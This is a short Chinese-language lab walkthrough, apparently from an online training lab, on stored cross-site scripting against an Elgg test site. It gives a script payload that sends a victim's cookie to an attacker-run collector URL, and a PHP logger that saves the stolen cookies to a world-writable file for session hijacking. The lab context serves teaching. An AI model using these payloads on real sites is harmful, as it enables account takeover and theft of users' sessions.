xss学习实验
xss主体分为两类
来自内部:主要利用程序自身的漏洞,构造跨站语句。
来自外部:自己构造xss跨站漏洞页面,然后诱惑管理员点击,从而获取信息
下面进行实验楼的实验
配置DNS :sudo vim /etc/hosts
配置网站文件: sudo vim /etc/apache2/conf.d/lab.conf
启动sql和apache服务
sudo mysqld_safe
sudo service apache2 start
登录网站,在用户信息编辑界面输入,红框内为获得的cookie
<script>document.write(document.cookie);</script>
但是我们这是仍然获得的是自己的cookie,我们不需要自己的cookie,我们需要在不登录的情况下,获取别人的cookie,这样我们就能使用cookie直接登录别人的账号。
要窃取别人的cookie,首先需要搭建一个能接受cookie的环境,然后通过JavaScript代码把别人的cookie通过http请求发送到所搭的环境。
修改在用户信息编辑界面输入的代码
<script>document.write('<img src=http://www.xsslabelgg.com/hac...' + escape(document.cookie) + '>');</script>
在网站目录下搭建一个hack.php文件
sudo vim /var/www/XSS/elgg/hack.php
代码如下
<?php
$cookie = $_GET["c"];
$log = fopen("cookie.txt","a");
fwrite($log,$cookie ."n");
fclose($log);
?>
创建一个cookie.txt储存cookie,并且这个文件要有写入权限
sudo touch cookie.txt
sudo chmod 777 cookie.txt
刷新之前的用户编辑界面后,查看cookie.txt文件,发现已经获取到用户的cookie
获取到对方的cookie之后,攻击者可以伪造受害者向服务器发送请求。